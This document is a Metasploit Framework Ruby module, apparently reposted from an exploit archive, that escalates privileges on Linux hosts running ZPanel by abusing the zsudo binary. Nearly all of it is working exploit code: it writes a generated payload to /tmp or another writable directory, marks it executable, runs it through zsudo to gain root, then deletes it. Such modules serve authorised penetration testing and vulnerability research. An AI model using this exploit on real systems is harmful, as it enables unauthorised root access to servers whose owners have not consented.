ZPanel zsudo Local Privilege Escalation

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/post/common'  
require 'msf/core/post/file'  
require 'msf/core/post/linux/priv'  
require 'msf/core/exploit/exe'  
  
  
class Metasploit4 < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Post::File  
include Msf::Post::Common  
  
def initialize(info={})  
super( update_info( info, {  
'Name' => 'ZPanel zsudo Local Privilege Escalation Exploit',  
'Description' => %q{  
This module abuses the zsudo binary, installed with zpanel, to escalate  
privileges. In order to work, a session with access to zsudo on the sudoers  
configuration is needed. This module is useful for post exploitation of ZPanel  
vulnerabilities, where typically web server privileges are acquired, and this  
user is allowed to execute zsudo on the sudoers file.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'sinn3r', 'juan vazquez' ],  
'DisclosureDate' => 'Jun 07 2013',  
'Platform' => [ 'unix', 'linux'],  
'Arch' => [ ARCH_CMD, ARCH_X86 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' =>  
[  
[ 'Command payload', { 'Arch' => ARCH_CMD } ],  
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]  
],  
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },  
'DefaultTarget' => 0,  
}  
))  
register_options([  
# These are not OptPath becuase it's a *remote* path  
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),  
OptString.new("zsudo", [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ]),  
], self.class)  
end  
  
def check  
if file?(datastore["zsudo"])  
return CheckCode::Detected  
end  
  
return CheckCode::Unknown  
end  
  
def exploit  
if (target.arch.include? ARCH_CMD)  
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.sh"  
# Using this way of writing the payload to avoid issues when failing to find  
# a command on the victim for writing binary data  
cmd_exec "echo \"#{payload.encoded.gsub(/"/, "\\\"")}\" > #{exe_file}"  
else  
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"  
write_file(exe_file, generate_payload_exe)  
end  
  
cmd_exec "chmod +x #{exe_file}"  
  
print_status("Running...")  
  
begin  
cmd_exec "#{datastore["zsudo"]} #{exe_file} #{rand_text_alpha(3 + rand(5))}"  
ensure  
cmd_exec "rm -f #{exe_file}"  
end  
  
end  
end  
  
`